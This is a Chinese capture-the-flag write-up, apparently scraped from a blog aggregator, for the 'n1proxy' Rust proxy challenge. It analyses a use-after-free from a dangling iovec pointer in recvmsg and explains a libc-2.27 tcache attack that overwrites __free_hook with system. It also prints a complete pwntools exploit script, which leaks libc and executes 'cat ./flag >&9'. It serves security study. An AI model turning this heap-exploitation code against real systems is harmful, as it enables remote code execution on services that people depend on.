}fn main() -> Result<()> {// make this easier :)unsafe {mallopt(libc::M_ARENA_MAX, 1);}let port = env::args().nth(1).unwrap_or("8080".to_string());let server_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };println!("n1proxy server listening on port {}", port);let mut server: sockaddr_in = unsafe { mem::zeroed() };server.sin_family = libc::AF_INET as u16;server.sin_addr.s_addr = libc::INADDR_ANY;server.sin_port = port.parse::<u16>()?.to_be();let socket_opt_res = unsafe {  //设置套接字的相关选项libc::setsockopt(server_fd,libc::SOL_SOCKET,libc::SO_REUSEADDR,&1 as *const _ as *const _,mem::size_of_val(&1) as u32,)};if socket_opt_res < 0 {panic!("Failed to set socket options {:?}",std::io::Error::last_os_error());}let bind_result = unsafe {  //将套接字和套接字地址结构绑定libc::bind(server_fd,&server as *const _ as *const _,mem::size_of_val(&server) as u32,)};if bind_result < 0 {panic!("Failed to bind socket {:?}",std::io::Error::last_os_error());}let listen_result = unsafe { libc::listen(server_fd, 5) }; //套接字开始监听if listen_result < 0 {panic!("Failed to listen on socket {:?}",std::io::Error::last_os_error());}loop {let client_fd =unsafe { libc::accept(server_fd, std::ptr::null_mut(), std::ptr::null_mut()) }; //返回连接上的客户端套接字if client_fd < 0 {break;}thread::spawn(move || {println!("New client connected");handle_client(client_fd).unwrap_or_else(|err| {eprintln!("Error: {}", err);let err_msg = format!("error : {}", err);my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();});unsafe { libc::close(client_fd) };println!("Client disconnected")});}Ok(())
}

公匙交换和签名

  • 发送方发送公钥和对公匙的签名(通过私匙和某种算法得到签名钥匙来对消息签名)
  • 接受方利用接受的公匙对接受的公匙(包括在数据部分)和签名认证(通过发送方的公匙)

会话钥匙

  • 发送方通过接受方的公钥对会话钥匙(随机生成)进行相关算法加密,然后将加密后的数据签名并一起发送过去
  • 接受方通过发送方的公匙来对数据和签名来认证,然后将数据部分通过私匙进行解密,最后得到会话钥匙

后续通信

  • 发送方将数据部分和数据部分的签名(私匙)通过会话钥匙加密,然后发送
  • 接受方先通过会话钥匙解密,然后通过对方的公匙验证签名和数据,

生命周期和裸指针

在代码片段

let mut recv_iov = [iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,
}];

中,存在以下生命周期问题:

  1. Vec和裸指针的关系:
    当你创建一个Vec<u8>,并在其后立即通过as_mut_ptr()获取一个裸指针时,这个裸指针指向了Vec内部的内存。然而,Vec和裸指针的生命周期并没有显式关联。Vec的生命周期是在其创建的作用域内,而裸指针的生命周期则是不确定的,因为它脱离了Rust的生命周期管理系统。

  2. Vec的自动释放:
    由于Vec是在局部作用域中创建的,当这个作用域结束时,Vec将被自动释放,其内存将被回收。如果此时裸指针仍然在使用中,它就成为了悬挂指针,指向的是一块已经无效的内存。

在Rust中,表达式vec![0u8; recv_size]创建了一个Vec<u8>,其生命周期是与它被创建的作用域绑定的。

iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,
}

这里的vec![0u8; recv_size]是在iovec结构体初始化的上下文中创建的。这意味着这个Vec<u8>的生命周期是与iovec初始化的那行代码所在的块(即花括号包围的代码区域)绑定的。一旦这个代码块执行完毕,Vec<u8>也将达到其生命周期的终点,其内存将被释放。

然而,这行代码中的vec![0u8; recv_size]创建的Vec<u8>的生命周期与iovec的生命周期可能存在冲突,因为ioveciov_base字段被设置为指向这个Vec的裸指针。当Vec<u8>的生命周期结束时,其内存被释放,但iovec可能仍然持有指向已释放内存的裸指针,这将导致悬挂指针。

写了个代码测试下
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

core::slice::raw::from_raw_parts core::slice::raw::from_raw_parts并没有申请堆块

在这里插入图片描述
在这里插入图片描述
res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中。
在这里插入图片描述
后面的vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() recv_data.to_vec()又申请了相同大小的chunk,并将之前数据拷贝,所以free后连续分配了两次

代码审计

在这里插入图片描述

漏洞点 libc-2.27.so

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {let mut recv_iov = [iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,}];let mut msg = msghdr {msg_name: std::ptr::null_mut(),msg_namelen: 0,msg_iov: recv_iov.as_mut_ptr(),msg_iovlen: 1,msg_control: std::ptr::null_mut(),msg_controllen: 0,msg_flags: 0,};let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };if recv_sz < 0 {return os_error!();}let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };Ok(res.to_vec())let recv_data = match conn_type { //得到返回数据ProxyType::Tcp => {let mut recv_data = vec![0; recv_data_size as usize];let recv_sz = my_read(target_fd,recv_data.as_mut_ptr() as *mut c_void,recv_data.len() as size_t,)?;recv_data.resize(recv_sz as usize, 0);recv_data}ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),};vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() 最后的处理
let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();let res_msg = session_enc(session_key, &res_msg)?;my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;
}

my_recv_msg 函数等价为:

  1. 使用一个 recv_size 大小的内存初始化 iov_base;
  2. 释放这块内存得到悬空指针;
  3. 在 unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
  4. 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 得到切片,然后res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中

大致思路(exp还有变化)

增加了tcache,tcache无next检查

  1. sendmsg发送零个字节,recvmsg设置较大的msg_recvsize使得内部的msg的iov_base被free后进入到unsortedbin中,然后recvmsg将接受到的(为零,所以没有写入)写入msg的iov_base,使得残留的libc地址不被修改
  2. res.to_vec()此时会重新分配,大小和之前刚被free的bin一样,然后泄露libc地址,并把之前的内容复制上去
  3. 由于是free后连续分配并拷贝原数据两次,第一次分配是原chunk,第二次就是改写后的fd对应的chunk。由于会拷贝原数据,(如果fd是free_hook-0x8 system,那么会分配到free_hook-0x8就会写入free_hook-0x8 system)所以改fd为free_hook-0x8 system。
  4. 由于后面还会又很多次的free操作会调用system函数,但由于参数不对会导致system执行失败,该线程就会卡住,但不影响
  5. 到下一次UAF时,这时发送相关指令,此时写到free的chunk的是指令,然后分配时候会得到原chunk,res.to_vec()会新建一个chunk,并复制原chunk的内容即指令,当其生命周期结束时,即调用system(指令)

调试

放到IDA,通过汇编下断点,但后面的汇编就是在看不懂了,只能通过read和write下断点
在这里插入图片描述

https://blog.csdn.net/counsellor/article/details/125882904
关于签名几个字节,签名.len()几个字节等,可以编写rust程序然后使用一样的函数来看看或者相关交换流程通过问gpt来处理

利用pause找对应的函数的断点,最终的 let mut recv_iov = [iovec { iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, //生命周期问题导致存在悬挂指针 iov_len: recv_size, }];分配的操作应该在在这里插入图片描述

exp

这里需要新建一个线程运行listen,因为发送过去最终还要等connec函数连接成功才能得到listen返回的客户端的fd,而connec返回服务器的fd
为了防止connec时还没有开启accept,所以采取pause()

泄露libc

不能发送零个字节,recvmsg这样会阻塞,所以尝试发送一个字节0,出现
在这里插入图片描述

在这里插入图片描述
发生在 vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()是因为改变了fd的值,导致fd不是unsorted_chunk的值
要绕过的话,一是要满足分配后,再free掉,赋值后fd或者bk部分有libc残留,同时fd要指向unsorted_chunk地址。

当我下malloc断点时发现第一次分配使用的_rust_alloc_zeroed 没有断下来,可能是其他函数。,IDA看了后发现用的是calloc,它和malloc区别在于刚开始不会从tcache中去chunk,而是直接开始比对是否属于fastbin(类似低版本的malloc,但会有当fastbin有多余的chunk会把它链入到tcache中去)

在这里插入图片描述
然后常规free
第二次分配使用的是__rust_alloc,对应malloc
在这里插入图片描述
如果第一次分配绕过tcache找到,然后free时由于tcache满了进入unsorted,再分配时候又是从tcache中找到,并且之后的chunk都可以从tcache中找到,free也可以直接到tcache或者到unsortedbin,就可以解决这个问题。总之,free赋值后就是后续的malloc只能从tcache来,这里从满的tcache的bin对应的chunksize大小一个个试

写free_hook

这里依然要保证malloc和calloc不能从unsortedbin中寻找(但好像通过某种风水下次也可以了),并且由于这里要写tcache chunk的fd,并且将原内容复制到fd对应的chunk上去,进而写free_hook为system。所以需要是tcache上的chunk,首先第一次是calloc,这个时候需要fastbin或者smallbin里有,free后进入tcache,赋值写fd,然后再分配从tcache出来,再分配就得到的free_hook-8的chunk,然后复制,进而写free_hook为system

  if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL){return tcache_get (tc_idx);}DIAG_POP_NEEDS_COMMENT;
#endif

这里由于根据entries来分配tcache,找个之后都不会malloc用到的size即可,否则要用到之后fd对应的chunk残留的fd可能分配出问题。所以从没有对应的size的tcachebin中一个个试,另外这里发现会将recvmsg会将bk对应部分值清零,复制到又分配的chunk自然无法写free_hook了,所以改为free_hook-0x10+p64(0)+system


#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>int system(const char * cmdstring){pid_t pid;int status;if(cmdstring == NULL){return (1);}if((pid = fork())<0){status = -1;}else if(pid = 0){execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);-exit(127); //子进程正常执行则不会执行此语句}else{while(waitpid(pid, &status, 0) < 0){if(errno != EINTER){status = -1;break;}}}return status;}

system函数执行错误会让产生的子进程退出,gdb调一直卡在子进程,退出不了 发现卡是因为原来断点插入不了, 所以会卡住,离谱。但后面会由于很多free,然后如果有断点就会卡住,所以这里设置在hand_client不跟进子进程,但要进入hand_client又得需要进入子进程,比较麻烦

执行命令

覆盖后,下次发送相关命令,接收后赋值,当生命周期结束会调用free,进而system(命令),这里需要cat flag然后重定向到服务端套接字(应该是send
过去后,有对存储命令的堆的free操作),通过recv_msg将send的内容flag内容一起接收

exp

from pwn import *
import rsa
from typing import List
#from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
#from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from typing import Dict, List
import threading
from Crypto.Util.Padding import unpadcontext(os="linux",arch="amd64",log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]class SessionKey:def __init__(self, key, iv):self.key = keyself.iv = ivdef __str__(self):return f"SessionKey(key={self.key}, iv={self.iv})"def __repr__(self):return str(self)def session_enc(keys:SessionKey, msg: bytes) -> bytes:try:key = keys.keyiv = keys.ivif len(key) != 32:raise ValueError(f"Invalid key length {len(key)}")if len(iv) != 16:raise ValueError(f"Invalid iv length {len(iv)}")# Create AES cipher in CBC modecipher = AES.new(key, AES.MODE_CBC, iv)# Pad the messagepadded_msg = pad(msg, AES.block_size)# Encrypt the padded messageencrypted = cipher.encrypt(padded_msg)return encryptedexcept Exception as e:raise Exception(f"Failed to encrypt message: {str(e)}")def session_dec(keys: SessionKey, msg: bytes) -> bytes:key = keys.keyiv = keys.ivif len(key) != 32:raise ValueError(f"Invalid key length {len(key)}")if len(iv) != 16:raise ValueError(f"Invalid iv length {len(iv)}")# Create AES cipher object for decryptioncipher = AES.new(keys.key, AES.MODE_CBC, keys.iv)try:# Decrypt the message and remove paddingdecrypted = cipher.decrypt(msg)unpadded = unpad(decrypted, AES.block_size)except ValueError as err:raise ValueError(f"Failed to decrypt message: {err}") from errreturn unpadded
def listen():global client_fd,server_fdr=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=4ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation target_host=b"127.0.0.1"target_host_len=p32(9)target_port=p16(12345)conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)r.send(conn_data_session_enc)#  session_enc(socke_fd | signature)fd_session_enc=r.recv(528)fd_total=session_dec(session_key,fd_session_enc)if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):print("server client fd  key Signature verified")#p.interactive() # else process("./pwn") endclient_fd=fd_total[:4]print("client fd ",client_fd)def connec():global client_fd,server_fdr=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=2ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation # target_host=b"127.0.0.1"target_host_len=p32(9)target_port=p16(12345)conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)r.send(conn_data_session_enc)#  session_enc(socke_fd | signature)fd_session_enc=r.recv(528)fd_total=session_dec(session_key,fd_session_enc)if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):print("server client fd  key Signature verified")#p.interactive() # else process("./pwn") endserver_fd=fd_total[:4]print("server fd ",server_fd)#p.interactive() # else process("./pwn") enddef send(fd,size ,data):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=0ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation # conn_data=p32(fd)+p64(size)+dataconn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)r.close()#p.interactive() # else process("./pwn") enddef recv(fd,size):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=1ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation conn_data=p32(fd)+p64(size)conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)#   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )recv_enc_data = r.recv()recv_data = session_dec(session_key,recv_enc_data)data_len = u64(recv_data[:8])data = recv_data[8:8+data_len]sig = recv_data[8+data_len:]if rsa.verify(recv_data[:8+data_len],sig,server_pub_key):print("recvdata key Signature verified")return data#p.interactive() # else process("./pwn") end
def recv_no(fd,size):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=1ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation conn_data=p32(fd)+p64(size)conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)#   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )recv_enc_data = r.recv(timeout=10)#p.interactive() # else process("./pwn") endglobal client_fd,server_fdglobal  pub_key, pri_key
(pub_key, pri_key) = rsa.newkeys(4096)   
#p=process("./n1proxy_server")
# gdb.attach(p)
# pause()
thread = threading.Thread(target=listen)
thread.start()connec()
# leak libcsend(u32(server_fd),1 ,b"1")
recv_data=recv(u32(client_fd),0x200)print("recv_data",recv_data)
libcbase=u64(recv_data[:8])-0x3ebc31
print("libc",hex(libcbase))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")# # overlap _free_hook
send(u32(server_fd),24,p64(libcbase+libc.sym["__free_hook"]-0x10)+p64(0)+p64(libcbase+libc.sym["system"]))
recv_data=recv_no(u32(client_fd),0x50) 
print("recv_data",recv_data)
# # system ("cat flag")
send(u32(server_fd),15,b"cat ./flag >&9\x00")
recv_data=recv(u32(client_fd),0x50) 
print("recv_data",recv_data)

这些sh:是因为我在后台运行proxy,所以它的输出直接出现在终端上
在这里插入图片描述
由于我这里生成公匙比较麻烦,所以就没过多去尝试其他可能的size了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/48489.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM从1%到99%【精选】-运行时数据区

目录 1.运行时数据区概括 2.什么是内存溢出 3..程序计数器 4.Java虚拟机栈 5.本地方法栈 6.堆 7.方法区 8.直接内存 1.运行时数据区概括 Java虚拟机在运行Java程序过程中管理的内存区域,称之为运行时数据区。主要分为两大类&#xff1a;线程不共享、线程共享线程不共…

TypeScript中Interface接口的深度探索与实践

定义接口 在TypeScript中&#xff0c;interface是一个强有力的概念&#xff0c;它用于定义类型签名&#xff0c;特别是对象的结构。接口可以用来描述对象应该有哪些属性、方法&#xff0c;以及这些成员的类型。它们是实现类型系统中“鸭子类型”&#xff08;duck typing&#…

【22】Android高级知识之Window(三) -WMS

一、概述 这次开始到了WindowManagerService&#xff08;WMS&#xff09;&#xff0c;你可以把它看做一个WindowManager&#xff0c;只不过呢&#xff0c;属于系统服务进程&#xff08;system_server&#xff09;中的一员&#xff0c;和应用不在同一进程&#xff0c;所以涉及了…

